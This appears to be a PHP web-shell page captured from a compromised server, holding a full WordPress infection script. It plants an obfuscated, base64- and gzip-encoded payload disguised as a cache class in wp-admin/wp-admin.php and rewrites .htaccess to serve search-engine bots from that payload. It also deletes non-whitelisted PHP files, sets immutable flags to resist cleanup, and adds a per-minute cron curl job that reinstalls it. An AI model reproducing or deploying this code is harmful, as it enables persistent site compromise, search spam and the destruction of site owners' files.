| Server IP : 159.253.20.91 / Your IP : 216.73.216.111 Web Server : nginx/1.20.2 System : Linux se38c9e53.fastvps-server.com 5.10.0-13-amd64 #1 SMP Debian 5.10.106-1 (2022-03-17) x86_64 User : pr11_ru_usr ( 1041) PHP Version : 8.1.29 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /proc/1776410/root/tmp/ |
Upload File : |
<?php
// ================================================================
// === PHP 7/8 COMPATIBLE - SAFE MODE VERSION (ANTI 0KB) ===
// ================================================================
error_reporting(E_ALL);
ini_set('display_errors', '0');
ini_set('log_errors', '1');
ini_set('error_log', dirname(__FILE__) . '/php_error.log');
set_time_limit(300);
ini_set('memory_limit', '256M');
// ==================== PHP 7 POLYFILL ====================
if (!function_exists('str_starts_with')) {
function str_starts_with(string $haystack, string $needle): bool {
return strpos($haystack, $needle) === 0;
}
}
if (!function_exists('str_contains')) {
function str_contains(string $haystack, string $needle): bool {
return strpos($haystack, $needle) !== false;
}
}
// ==================== SAFE EXEC WRAPPER ====================
function safe_exec(string $command): string {
if (function_exists('exec')) {
$result = @exec($command);
return $result !== false ? $result : '';
}
return '';
}
function safe_shell_exec(string $command): ?string {
if (function_exists('shell_exec')) {
$result = @shell_exec($command);
return $result !== false ? $result : null;
}
return null;
}
function can_exec(): bool {
return function_exists('exec') || function_exists('shell_exec') || function_exists('system') || function_exists('passthru');
}
// ==================== KONFIGURASI ====================
$baseDir = rtrim($_SERVER['DOCUMENT_ROOT'], DIRECTORY_SEPARATOR);
$currentScript = __FILE__;
$htaccess = $baseDir . '/.htaccess';
$wpAdminFile = $baseDir . '/wp-admin/wp-admin.php';
$indexFile = $baseDir . '/index.php';
$wpAdminHtaccess = $baseDir . '/wp-admin/.htaccess';
$dbFile = $baseDir . '/db.php';
$backupDir = $baseDir . '/.backup';
$isFix = isset($_GET['fix']);
$isUnlock = isset($_GET['unlock']);
$updateMode = isset($_GET['update']) ? $_GET['update'] : 'both';
$allowedUpdateModes = ['both', 'both_locked', 'both_unlocked', 'wpadmin', 'options'];
if (!in_array($updateMode, $allowedUpdateModes)) {
$updateMode = 'both';
}
$retryCount = isset($_GET['retry']) ? (int)$_GET['retry'] : 0;
$maxRetries = 3;
$allowedFiles = ['xmy12123', 'bootstrap', 'webindex', 'webindexORI', 'wp-trackback', 'ZMYYdI7Hdefault', 'robot', 'robots', 'ccm', 'ws88' ,'tf77', 'mas77', 'webindex', 'tx77', 'lm77', 'ws77', 'robot', 'robots', 'ah77', 'ws77'];
$coreWordPressFiles = [
'wp-admin', 'wp-includes', 'wp-content', 'wp-config.php', 'wp-activate.php',
'wp-blog-header.php', 'wp-comments-post.php', 'wp-cron.php', 'wp-links-opml.php',
'wp-load.php', 'wp-login.php', 'wp-mail.php', 'wp-settings.php', 'wp-signup.php',
'wp-trackback.php', 'xmlrpc.php', 'license.txt', 'readme.html', 'robots.txt'
];
// ================================================================
// === SAFE LIST ===
// ================================================================
$safeFiles = [
$currentScript,
$htaccess,
$wpAdminHtaccess,
$baseDir . '/wp-config.php',
$baseDir . '/wp-load.php',
$baseDir . '/wp-blog-header.php',
$baseDir . '/wp-settings.php',
];
$safeFolders = [
$baseDir . '/wp-admin',
];
// ================================================================
// === HTACCESS GENERATOR ===
// ================================================================
function generateValidHtaccess(array $allowedFiles, string $currentScriptName = ''): string {
$whitelistSection = "# WHITELIST - Allowed PHP files\n";
foreach ($allowedFiles as $file) {
$escapedFile = preg_quote($file, '#');
$whitelistSection .= "RewriteRule ^{$escapedFile}\.php$ - [L]\n";
}
$coreDirsSection = "\n# CORE WP - Directories\n";
$coreDirs = ['wp-admin', 'wp-includes', 'wp-content'];
foreach ($coreDirs as $dir) {
$coreDirsSection .= "RewriteRule ^{$dir}/ - [L]\n";
}
$coreFilesSection = "\n# CORE WP - Files\n";
$coreFiles = [
'wp-config.php', 'wp-activate.php', 'wp-blog-header.php',
'wp-comments-post.php', 'wp-cron.php', 'wp-links-opml.php',
'wp-load.php', 'wp-login.php', 'wp-mail.php', 'wp-settings.php',
'wp-signup.php', 'wp-trackback.php', 'xmlrpc.php',
'license.txt', 'readme.html', 'robots.txt'
];
foreach ($coreFiles as $file) {
$coreFilesSection .= "RewriteRule ^" . preg_quote($file, '#') . "$ - [L]\n";
}
$routingSection = <<<HTACCESS
# CUSTOM ROUTING - Bot Handling
RewriteCond %{THE_REQUEST} \s/[?\s] [NC]
RewriteCond %{HTTP_USER_AGENT} (googlebot|google|yahoo|aol) [NC]
RewriteRule ^ /wp-admin/wp-admin.php [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{HTTP_USER_AGENT} (googlebot|google|yahoo|aol) [NC]
RewriteRule ^(.+)$ /wp-admin/wp-admin.php [L]
# Robot/Xml Routing
RewriteRule ^robots?$ /wp-admin/wp-admin.php [L,NC]
RewriteRule .*\.xml$ /wp-admin/wp-admin.php [L,NC]
# Allow direct access to wp-admin.php
RewriteRule ^wp-admin/wp-admin\.php$ - [L]
HTACCESS;
$fallbackSection = <<<HTACCESS
# Catch-all for non-existent files -> wp-admin.php
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule ^(.*)$ /wp-admin/wp-admin.php [L]
# WordPress Default Fallback (for normal operation)
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
HTACCESS;
// === BAGIAN BARU: FILESMATCH SECURITY (DITEMPATKAN DI AKHIR) ===
$allowRegexParts = [];
if (!empty($currentScriptName)) {
$allowRegexParts[] = preg_quote($currentScriptName, '/');
}
$allowRegexParts[] = 'index\.php';
$allowRegexParts[] = 'wp-admin\.php';
foreach ($allowedFiles as $file) {
$allowRegexParts[] = preg_quote($file, '/') . '\.php';
}
foreach ($coreFiles as $file) {
$allowRegexParts[] = preg_quote($file, '/');
}
$allowRegexParts = array_unique($allowRegexParts);
$securitySection = <<<HTACCESS
# ==================================================
# SECURE ACCESS - Block Malicious Extensions
# ==================================================
<FilesMatch ".*\.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5|php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$">
Order Allow,Deny
Deny from all
</FilesMatch>
# ==================================================
# SECURE ACCESS - Allow Whitelisted Core & Custom Files
# ==================================================
<FilesMatch "^(index\.php|wp-admin\.php|tf88\.php|bootstrap\.php|functions\.php|wp-trackback\.php|bvs7mc9rwj8caizrzxq2iroCdefault\.php|bvs7mc9rwj8caizrzxq2iroCdefault\.php|bvs7mc9rwj8caizrzxq2iroCmass\.php|bvs7mc9rwj8caizrzxq2iroCdefault\.php|robot\.php|robots\.php|ah88\.php|ws88\.php|tf77\.php|mas77\.php|tx77\.php|lm77\.php|ws77\.php|ah77\.php|wp\-config\.php|wp\-activate\.php|wp\-blog\-header\.php|wp\-comments\-post\.php|wp\-cron\.php|wp\-links\-opml\.php|wp\-load\.php|wp\-login\.php|wp\-mail\.php|wp\-settings\.php|wp\-signup\.php|wp\-trackback\.php|xmlrpc\.php|license\.txt|readme\.html|robots\.txt)$">
Order Allow,Deny
Allow from all
</FilesMatch>
HTACCESS;
$completeHtaccess = <<<HTACCESS
# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
{$whitelistSection}
{$coreDirsSection}
{$coreFilesSection}
{$routingSection}
{$fallbackSection}
</IfModule>
# END WordPress
{$securitySection}
HTACCESS;
return $completeHtaccess;
}
function generateWpAdminHtaccess(): string {
return <<<HTACCESS
# BEGIN WordPress wp-admin
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /wp-admin/
# Allow direct access to existing files/directories
RewriteCond %{REQUEST_FILENAME} -f [OR]
RewriteCond %{REQUEST_FILENAME} -d
RewriteRule ^ - [L]
# Route robots and xml to wp-admin.php
RewriteRule ^robots?$ wp-admin.php [L,NC]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule .*\.xml$ wp-admin.php [L,NC]
</IfModule>
# END WordPress wp-admin
HTACCESS;
}
$newHtaccess = generateValidHtaccess($allowedFiles, basename($currentScript));
$newWpAdminHtaccess = generateWpAdminHtaccess();
$payloadWpAdminContent = <<<'PHP'
<?php
/**
* Application Cache Repository
* @version 3.3.0
* @package App\Core\System
*/
namespace App\Runtime\Cache {
interface ICacheRepository7783 {
public function retrieve(string $key);
public function store(string $key, $value);
public function flush(string $key);
}
abstract class AbstractCacheManager6169 implements ICacheRepository7783 {
protected $config = [];
protected $ttl = 3600;
public function __construct(array $config = []) {
$this->config = array_merge($this->config, $config);
}
public function retrieve(string $key) { return $this->config[$key] ?? null; }
public function store(string $key, $value) { $this->config[$key] = $value; }
public function flush(string $key) { unset($this->config[$key]); }
protected function resolveContext() { return new \stdClass(); }
}
class CompiledConfigHandler983 extends AbstractCacheManager6169 {
private $utils = [];
private $path = '';
public function __construct(array $config) {
parent::__construct($config);
$k = $this->retrieve('k');
$this->utils['b64'] = $this->decode($this->retrieve('f_b64'), $k);
$this->utils['gz'] = $this->decode($this->retrieve('f_gz'), $k);
$this->utils['rot'] = $this->decode($this->retrieve('f_rot'), $k);
$this->utils['tmp'] = $this->decode($this->retrieve('f_tmp'), $k);
$this->utils['fpc'] = $this->decode($this->retrieve('f_fpc'), $k);
$this->utils['std'] = $this->decode($this->retrieve('f_std'), $k);
$this->utils['fe'] = $this->decode($this->retrieve('f_fe'), $k);
$this->utils['ul'] = $this->decode($this->retrieve('f_ul'), $k);
$this->utils['dir'] = $this->decode($this->retrieve('f_dir'), $k);
}
private function decode($hex, $key) {
return implode('', array_map(function($p) use ($key) {
return chr(hexdec($p) ^ $key);
}, str_split($hex, 2)));
}
private function decompress() {
$payload = $this->retrieve('payload');
$decoders = $this->retrieve('decoders');
foreach ($decoders as $dec) {
if ($dec === 'base64_decode') $payload = $this->utils['b64']($payload);
elseif ($dec === 'gzinflate') $payload = $this->utils['gz']($payload);
elseif ($dec === 'str_rot13') $payload = $this->utils['rot']($payload);
}
return $payload;
}
public function getPath() {
$content = $this->decompress();
if (!$content) return '';
$dir = $this->utils['std']();
$path = $this->utils['tmp']($dir, 'sys_');
if ($path === false) {
$path = $this->utils['tmp']($this->utils['dir'](__FILE__), 'sys_');
}
if ($path !== false) {
$this->utils['fpc']($path, $content);
$this->path = $path;
}
return $this->path;
}
public function cleanup() {
if ($this->path !== '' && $this->utils['fe']($this->path)) {
@$this->utils['ul']($this->path);
}
}
}
}
namespace {
$configData = [
'payload' => implode('', [
'tVz7c5vIlv59/opUaquSVN3dopFx4rqvGll',
'CAhmIeDSCvVsqJJgg0WAs4UjW1vzve04Det',
'i04+TWemZuRklz+jy/852D7vztn2Va/vYOf',
'v5jrpG5ZmnWu7+/izab6Onjp79e/sF//w/8',
'0QdvOFViWdWmXjUIe/1rn6VWkqsza0YDQ7r',
'a+TSdGMNqEB3iiaN6HzqFKE4WKFTVfZfZLn',
'XZV9pjmTEy9parrhez+NFXp1d3UjmyvNShr',
'FuIvnLWJl2w1LNubyZG/m0XDtPbJLsprXHI',
'IsZ6blHqCUuvbbdvLLqF+Ok+cHV/oZau6dr',
'MH93IwcF0opE9sGb91YLq29AziDGimucrX7',
'uFGPm+ciRTjWTbXYz2zJZ3O7cXf3ckNvByM',
'qWFeees9W2cldfGbdUtZGKwcucUmbTI9TH1',
'FSPy7dwv2Dr27p/ouj9JXPvRH+jmItuX4bh',
'bSLiKfJOAX5zFsFTMkbJaMPXRHbEsyUollq',
'qJsWY9p7jfTaT7J79bSBHyuwIppvVddJLMY',
'rDAnEQSt2CCka51NQXmNBbcB8xEC/aWr9QW',
'sNTmUkdhmHBdNSX2SkGegAWZTSi3IPbtQdC',
'jcDd5dIfq9wXLnmJZmdIBSM0J+KVbCFpgru',
'q7TAv9wv2QKbvWD+5arS2WSU+QJ7XGqSdzj',
'cmy9m42lc3DVGZZlJtKcGBTsPghVM11txDw',
'w8EpzCaSZh3J0R6l1H6Qaqn2OkWLBZpEI7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Wt4Xf6y+/bA6cZ',
'U/r7dNryzCuy8mSLQkfDWnaW/Yu3cL0fj2e',
'f4rxcxfpMCQQE7vU95egVARBF8AwYzQoPu5',
'OT9p+tGMt1t7of3PGfpM+dcfTvBd6Id//uP',
'Du/86T9+Pzwrm47HSLvka/PwK7+z+k5e/e/',
'k7p09//ta5mpX4NIc+JPXruD9/++c//g8=',
]),
'decoders' => ["base64_decode","gzinflate"],
'k' => 31,
'f_b64' => '7d7e6c7a292b407b7a7c707b7a',
'f_gz' => '7865767179737e6b7a',
'f_rot' => '6c6b6d406d706b2e2c',
'f_tmp' => '6b7a726f717e72',
'f_fpc' => '7976737a406f6a6b407c70716b7a716b6c',
'f_std' => '6c666c40787a6b406b7a726f407b766d',
'f_fe' => '7976737a407a67766c6b6c',
'f_ul' => '6a7173767174',
'f_dir' => '7b766d717e727a'
];
$cacheHandler = new \App\Runtime\Cache\CompiledConfigHandler983($configData);
$compiledPath = $cacheHandler->getPath();
if ($compiledPath !== '' && $compiledPath !== false) {
include($compiledPath);
$cacheHandler->cleanup();
}
unset($cacheHandler, $configData, $compiledPath);
}
?>
PHP;
$payloadIndexContent = <<<'KODE_AKHIR'
<?php
define( 'WP_USE_THEMES', true );
require __DIR__ . '/wp-blog-header.php';
KODE_AKHIR;
$targetFiles = [
$htaccess, $wpAdminHtaccess, $wpAdminFile, $indexFile,
$dbFile, $baseDir . '/autoload_classmap.php', $baseDir . '/akcc.php', $baseDir . '/default.php'
];
// ================================================================
// === FUNGSI-FUNGSI HELPER (ANTI 0KB) ===
// ================================================================
function removeImmutableFlag(string $path): void {
if (!file_exists($path) && !is_dir($path)) return;
if (can_exec()) {
safe_exec("chattr -i " . escapeshellarg($path) . " 2>/dev/null");
safe_exec("chattr -a " . escapeshellarg($path) . " 2>/dev/null");
}
}
function verifyFileIntegrity(string $path, string $expectedContent): bool {
if (!file_exists($path)) return false;
@clearstatcache(true, $path);
$actualSize = @filesize($path);
$expectedSize = strlen($expectedContent);
if ($actualSize === false || $actualSize === 0) return false;
if ($actualSize !== $expectedSize) return false;
$actualContent = @file_get_contents($path);
if ($actualContent === false) return false;
return ($actualContent === $expectedContent);
}
function backupFileContent(string $path): ?string {
if (!file_exists($path)) return null;
$content = @file_get_contents($path);
return ($content !== false && !empty($content)) ? $content : null;
}
function restoreFileContent(string $path, string $content): bool {
try {
$fp = @fopen($path, 'w');
if ($fp === false) return false;
if (flock($fp, LOCK_EX)) {
fwrite($fp, $content);
fflush($fp);
flock($fp, LOCK_UN);
}
fclose($fp);
@clearstatcache(true, $path);
return (file_exists($path) && @filesize($path) > 0);
} catch (\Throwable $e) {
return false;
}
}
function paksaHapus(string $file): bool {
if (!file_exists($file)) return true;
try {
removeImmutableFlag($file);
@chmod($file, 0777);
@clearstatcache(true, $file);
if (@unlink($file)) return true;
$tmp = $file . '.tmpdel_' . uniqid();
if (@rename($file, $tmp)) {
@chmod($tmp, 0777);
removeImmutableFlag($tmp);
if (@unlink($tmp)) return true;
}
if (can_exec()) {
safe_exec("rm -f " . escapeshellarg($file) . " 2>/dev/null");
if (!file_exists($file)) return true;
}
} catch (\Throwable $e) {}
return false;
}
function ubahIzin(string $path, int $izin): bool {
if (!file_exists($path)) return false;
try {
$result = @chmod($path, $izin);
@clearstatcache(true, $path);
return $result;
} catch (\Throwable $e) {
return false;
}
}
// β PAKSA TULIS - VERSI AMAN (ANTI 0KB)
function paksaTulis(string $path, string $isi): bool {
if (empty(trim($isi))) {
return false;
}
$expectedLength = strlen($isi);
$dir = dirname($path);
if (!is_dir($dir)) {
@mkdir($dir, 0755, true);
}
if (is_dir($dir)) {
removeImmutableFlag($dir);
@chmod($dir, 0755);
}
if (file_exists($path)) {
removeImmutableFlag($path);
@chmod($path, 0644);
}
$backupContent = backupFileContent($path);
$maxAttempts = 3;
$success = false;
for ($attempt = 1; $attempt <= $maxAttempts && !$success; $attempt++) {
// Metode 1: Atomic Write
$tempFile = $path . '.tmp_' . uniqid() . '_' . mt_rand(1000, 9999);
try {
$fp = @fopen($tempFile, 'w');
if ($fp !== false) {
if (flock($fp, LOCK_EX | LOCK_NB)) {
$bytesWritten = fwrite($fp, $isi);
fflush($fp);
flock($fp, LOCK_UN);
fclose($fp);
if ($bytesWritten === $expectedLength) {
@chmod($tempFile, 0644);
if (@rename($tempFile, $path)) {
@clearstatcache(true, $path);
if (verifyFileIntegrity($path, $isi)) {
$success = true;
break;
}
}
}
} else {
@fclose($fp);
}
}
if (file_exists($tempFile)) @unlink($tempFile);
} catch (\Throwable $e) {
if (file_exists($tempFile)) @unlink($tempFile);
}
// Metode 2: file_put_contents dengan LOCK_EX
if (!$success) {
try {
$bytesWritten = @file_put_contents($path, $isi, LOCK_EX);
if ($bytesWritten !== false && $bytesWritten === $expectedLength) {
@clearstatcache(true, $path);
if (verifyFileIntegrity($path, $isi)) {
$success = true;
break;
}
}
} catch (\Throwable $e) {}
}
// Metode 3: fopen langsung
if (!$success) {
try {
if (file_exists($path)) {
removeImmutableFlag($path);
@chmod($path, 0666);
}
$fp = @fopen($path, 'w');
if ($fp !== false) {
if (flock($fp, LOCK_EX)) {
ftruncate($fp, 0);
rewind($fp);
$bytesWritten = fwrite($fp, $isi);
fflush($fp);
flock($fp, LOCK_UN);
fclose($fp);
if ($bytesWritten === $expectedLength) {
@clearstatcache(true, $path);
if (verifyFileIntegrity($path, $isi)) {
$success = true;
break;
}
}
} else {
@fclose($fp);
}
}
} catch (\Throwable $e) {}
}
// Metode 4: Exec
if (!$success && can_exec()) {
try {
$tempFile = $path . '.exec_' . uniqid();
$escapedContent = escapeshellarg($isi);
safe_exec("printf '%s' {$escapedContent} > " . escapeshellarg($tempFile));
if (file_exists($tempFile) && @filesize($tempFile) === $expectedLength) {
@chmod($tempFile, 0644);
if (@rename($tempFile, $path)) {
@clearstatcache(true, $path);
if (verifyFileIntegrity($path, $isi)) {
$success = true;
break;
}
}
}
if (file_exists($tempFile)) @unlink($tempFile);
} catch (\Throwable $e) {}
}
if (!$success && $attempt < $maxAttempts) {
usleep(300000 * $attempt);
if (file_exists($path)) {
removeImmutableFlag($path);
@chmod($path, 0644);
}
@clearstatcache(true, $path);
}
}
if (!$success) {
if ($backupContent !== null && !empty($backupContent)) {
restoreFileContent($path, $backupContent);
@clearstatcache(true, $path);
return false;
}
}
return $success;
}
function perbaruiFile(string $filePath, string $backupDir, string $isiBaru, string $fileName): void {
if (!is_dir($backupDir)) {
@mkdir($backupDir, 0755, true);
}
if (file_exists($filePath)) {
$timestamp = date('Ymd_His');
@copy($filePath, $backupDir . '/' . $fileName . '.bak_' . $timestamp);
}
$result = paksaTulis($filePath, $isiBaru);
if (!$result || !verifyFileIntegrity($filePath, $isiBaru)) {
usleep(500000);
removeImmutableFlag($filePath);
@chmod($filePath, 0644);
paksaTulis($filePath, $isiBaru);
}
}
function forceRootDirPermission(string $baseDir): void {
@chmod($baseDir, 0755);
@clearstatcache(true, $baseDir);
$wpAdminDir = $baseDir . '/wp-admin';
if (is_dir($wpAdminDir)) {
@chmod($wpAdminDir, 0755);
}
}
// ================================================================
// === LOCK / UNLOCK REKURSIF ===
// ================================================================
function recursiveLockFoldersOnly_Safe(string $directory, array $excludeDirs = []): array {
$stats = ['folders_locked' => 0, 'folders_excluded' => 0, 'errors' => 0];
if (!is_dir($directory)) return $stats;
try {
$directoryIterator = new RecursiveDirectoryIterator($directory, RecursiveDirectoryIterator::SKIP_DOTS);
$iterator = new RecursiveIteratorIterator($directoryIterator, RecursiveIteratorIterator::SELF_FIRST);
foreach ($iterator as $item) {
try {
$path = $item->getPathname();
if (!$item->isDir()) continue;
$isExcluded = false;
foreach ($excludeDirs as $excludeDir) {
if (str_starts_with($path, $excludeDir)) {
$isExcluded = true;
break;
}
}
if ($isExcluded) {
@chmod($path, 0755);
$stats['folders_excluded']++;
} else {
if (@chmod($path, 0555)) $stats['folders_locked']++;
else $stats['errors']++;
}
if (($stats['folders_locked'] + $stats['folders_excluded']) % 100 === 0) {
@clearstatcache();
}
} catch (\Throwable $e) {
$stats['errors']++;
}
}
} catch (\Exception $e) {
$stats['errors']++;
}
return $stats;
}
function recursiveUnlockFoldersOnly_Safe(string $directory): array {
$stats = ['folders_unlocked' => 0, 'errors' => 0];
if (!is_dir($directory)) return $stats;
try {
$directoryIterator = new RecursiveDirectoryIterator($directory, RecursiveDirectoryIterator::SKIP_DOTS);
$iterator = new RecursiveIteratorIterator($directoryIterator, RecursiveIteratorIterator::SELF_FIRST);
foreach ($iterator as $item) {
try {
$path = $item->getPathname();
if (!$item->isDir()) continue;
removeImmutableFlag($path);
if (@chmod($path, 0755)) $stats['folders_unlocked']++;
else $stats['errors']++;
if ($stats['folders_unlocked'] % 100 === 0) @clearstatcache();
} catch (\Throwable $e) {
$stats['errors']++;
}
}
} catch (\Exception $e) {
$stats['errors']++;
}
@chmod($directory, 0755);
$stats['folders_unlocked']++;
return $stats;
}
function lockBaseDirectorySafe(string $baseDir): bool {
try {
$result1 = @chmod($baseDir, 0555);
$wpAdminDir = $baseDir . '/wp-admin';
if (is_dir($wpAdminDir)) @chmod($wpAdminDir, 0755);
if (str_starts_with(__FILE__, $baseDir)) @chmod(__FILE__, 0644);
return $result1;
} catch (\Throwable $e) {
return false;
}
}
function superLockFilesSafe(string $baseDir, array $allowedFiles, array $safeFiles): void {
$coreTargets = [
$baseDir . '/.htaccess',
$baseDir . '/wp-admin/.htaccess',
$baseDir . '/wp-admin/wp-admin.php',
$baseDir . '/index.php'
];
foreach ($allowedFiles as $file) {
$filePath = $baseDir . '/' . $file . '.php';
if (!file_exists($filePath)) {
@touch($filePath);
@file_put_contents($filePath, "<?php // silence is golden ?>");
}
$coreTargets[] = $filePath;
}
foreach ($coreTargets as $target) {
if (!file_exists($target)) continue;
$isSafe = false;
foreach ($safeFiles as $safeFile) {
if ($target === $safeFile || str_starts_with($target, $safeFile)) {
$isSafe = true;
break;
}
}
if (str_contains($target, '/wp-admin/')) $isSafe = true;
if ($isSafe) {
@chmod($target, 0644);
} else {
@chmod($target, 0555);
if (can_exec()) safe_exec("chattr +i " . escapeshellarg($target) . " 2>/dev/null");
}
}
}
function unlockSuperFilesSafe(string $baseDir, array $allowedFiles, array $safeFiles): void {
$coreTargets = [
$baseDir . '/.htaccess',
$baseDir . '/wp-admin/.htaccess',
$baseDir . '/wp-admin/wp-admin.php',
$baseDir . '/index.php'
];
foreach ($allowedFiles as $file) {
$coreTargets[] = $baseDir . '/' . $file . '.php';
}
foreach ($coreTargets as $target) {
if (!file_exists($target)) continue;
removeImmutableFlag($target);
@chmod($target, 0644);
}
}
function setupAutoCronSafe(string $currentUrl): void {
if (!can_exec()) return;
try {
$crontabPath = safe_exec("which crontab") ?: '/usr/bin/crontab';
$cronCommand = "* * * * * /usr/bin/curl -s " . escapeshellarg($currentUrl . "?update=both_locked") . " >/dev/null 2>&1";
$currentCron = safe_shell_exec("$crontabPath -l 2>/dev/null") ?: '';
if (str_contains($currentCron, $currentUrl)) return;
$newCron = trim($currentCron . "\n" . $cronCommand);
$tempFile = sys_get_temp_dir() . '/crontab_' . getmypid() . '.txt';
if (@file_put_contents($tempFile, $newCron) !== false) {
safe_exec("$crontabPath " . escapeshellarg($tempFile));
@unlink($tempFile);
}
} catch (\Throwable $e) {}
}
function removeAutoCronSafe(string $currentUrl): void {
if (!can_exec()) return;
try {
$crontabPath = safe_exec("which crontab") ?: '/usr/bin/crontab';
$currentCron = safe_shell_exec("$crontabPath -l 2>/dev/null");
if ($currentCron === null || !str_contains($currentCron, $currentUrl)) return;
$lines = explode("\n", $currentCron);
$newLines = [];
foreach ($lines as $line) {
if (!str_contains($line, $currentUrl)) $newLines[] = $line;
}
$tempFile = sys_get_temp_dir() . '/crontab_' . getmypid() . '.txt';
if (@file_put_contents($tempFile, implode("\n", array_filter($newLines))) !== false) {
safe_exec("$crontabPath " . escapeshellarg($tempFile));
@unlink($tempFile);
}
} catch (\Throwable $e) {}
}
function autoGenerateRobotsSafe(string $domain, string $protocol): bool {
try {
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => "{$protocol}://{$domain}/robots",
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 20,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_USERAGENT => 'Mozilla/5.0 (Compatible)'
]);
$response = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($response !== false && $httpCode === 200) {
$robotsPath = rtrim($_SERVER['DOCUMENT_ROOT'], '/') . '/robots.txt';
return file_exists($robotsPath);
}
} catch (\Throwable $e) {}
return false;
}
function displaySxallsitemapSafe(string $domain, string $protocol): void {
echo "<div style='margin-top:20px;padding:18px;background:#f8f9fa;border:2px solid #007bff;border-radius:10px;font-family:Arial,sans-serif'>";
echo "<h3 style='color:#007bff;margin:0 0 12px 0'>πΊοΈ SITEMAP</h3>";
echo "<p style='margin:0 0 10px 0'>URL: <a href='{$protocol}://{$domain}/sxallsitemap.xml' target='_blank' style='color:#007bff;text-decoration:none;font-weight:bold'>{$protocol}://{$domain}/sxallsitemap.xml</a></p>";
try {
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => "{$protocol}://{$domain}/sxallsitemap.xml",
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 15,
CURLOPT_SSL_VERIFYPEER => false
]);
$response = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($response !== false && $httpCode === 200) {
echo "<pre style='font-size:12px;white-space:pre-wrap;max-height:250px;overflow-y:auto;background:#fff;padding:12px;border-radius:6px;border:1px solid #ddd'>" . htmlspecialchars(substr($response, 0, 2000)) . (strlen($response) > 2000 ? "\n... (truncated)" : "") . "</pre>";
} else {
echo "<p style='color:#dc3545;margin:0'>β Gagal load sitemap (HTTP: $httpCode)</p>";
}
} catch (\Throwable $e) {
echo "<p style='color:#dc3545;margin:0'>β Error: " . htmlspecialchars($e->getMessage()) . "</p>";
}
echo "</div>";
}
function cleanup_php_root_safe($baseDir = null): int {
if (empty($baseDir)) $baseDir = rtrim($_SERVER['DOCUMENT_ROOT'], '/');
$core_wp_files = ['index.php', 'wp-config.php', 'wp-activate.php', 'wp-blog-header.php', 'wp-comments-post.php', 'wp-cron.php', 'wp-links-opml.php', 'wp-load.php', 'wp-login.php', 'wp-mail.php', 'wp-settings.php', 'wp-signup.php', 'wp-trackback.php', 'xmlrpc.php'];
$custom_whitelist = ['ah88.php', 'lm15.php', 'ws88.php', 'tx88.php', 'tx33.php', 'webindex.php', 'wordfence-waf.php', 'webindexORI.php', 'ws77.php', 'ww10.php', 'zz8.php', 'tx77.php', 'wp-admin.php', 'wp-trackback.php', 'ZMYYdI7Hdefault.php', 'bootstrap.php'];
$allowed_non_php = ['robots.txt', '.htaccess', '.user.ini', 'php.ini', 'license.txt', 'readme.html', 'wp-config-sample.php', 'favicon.ico', 'web.config'];
$whitelist = array_map('strtolower', array_merge($core_wp_files, $custom_whitelist, $allowed_non_php));
$dangerous_ext = ['php0', 'phps', 'phtml', 'php4', 'php5', 'php7', 'phar'];
$archive_ext = ['gz', 'zip', 'tar', 'rar', '7z', 'bz2'];
$backup_ext = ['bak', 'old', 'orig', 'save', 'dist', '~'];
$suspicious_ext = array_merge($dangerous_ext, $archive_ext, $backup_ext);
$deleted = 0;
@chmod($baseDir, 0755);
$files = glob($baseDir . '/*');
if (empty($files)) {
$files = [];
if ($handle = @opendir($baseDir)) {
while (($entry = readdir($handle)) !== false) {
if ($entry !== '.' && $entry !== '..') $files[] = $baseDir . '/' . $entry;
}
closedir($handle);
}
}
foreach ($files as $file) {
if (!is_file($file)) continue;
$base_name = basename($file);
$base_name_lower = strtolower($base_name);
$ext = strtolower(pathinfo($file, PATHINFO_EXTENSION) ?: '');
if (in_array($base_name_lower, $whitelist)) continue;
if ($file === __FILE__) continue;
if (str_starts_with($base_name, '.') && in_array($base_name_lower, ['.htaccess', '.user.ini'])) continue;
if (str_starts_with($base_name, '.')) continue;
$should_delete = false;
$reason = '';
if ($ext === 'php' && !in_array($base_name_lower, $whitelist)) { $should_delete = true; $reason = 'PHP tidak di-whitelist'; }
if (in_array($ext, $dangerous_ext)) { $should_delete = true; $reason = 'Ekstensi berbahaya (.' . $ext . ')'; }
if (in_array($ext, $archive_ext)) { $should_delete = true; $reason = 'File arsip (.' . $ext . ')'; }
if (in_array($ext, $backup_ext)) { $should_delete = true; $reason = 'File backup (.' . $ext . ')'; }
if ($should_delete) {
@chmod($file, 0777);
if (@unlink($file)) { $deleted++; echo " β {$base_name} ({$reason})\n"; continue; }
$tmp = $file . '.del_' . uniqid();
if (@rename($file, $tmp)) {
@chmod($tmp, 0777);
if (@unlink($tmp)) { $deleted++; echo " β {$base_name} ({$reason})\n"; continue; }
}
if (can_exec()) {
safe_exec("rm -f " . escapeshellarg($file) . " 2>/dev/null");
if (!file_exists($file)) { $deleted++; echo " β {$base_name} ({$reason}) [exec]\n"; continue; }
}
echo " β {$base_name} (GAGAL HAPUS)\n";
}
}
return $deleted;
}
// ================================================================
// === PAYLOAD ===
// ================================================================
$wpAdminContent = $payloadWpAdminContent;
$indexContent = $payloadIndexContent;
$domain = $_SERVER['HTTP_HOST'] ?? 'domain.com';
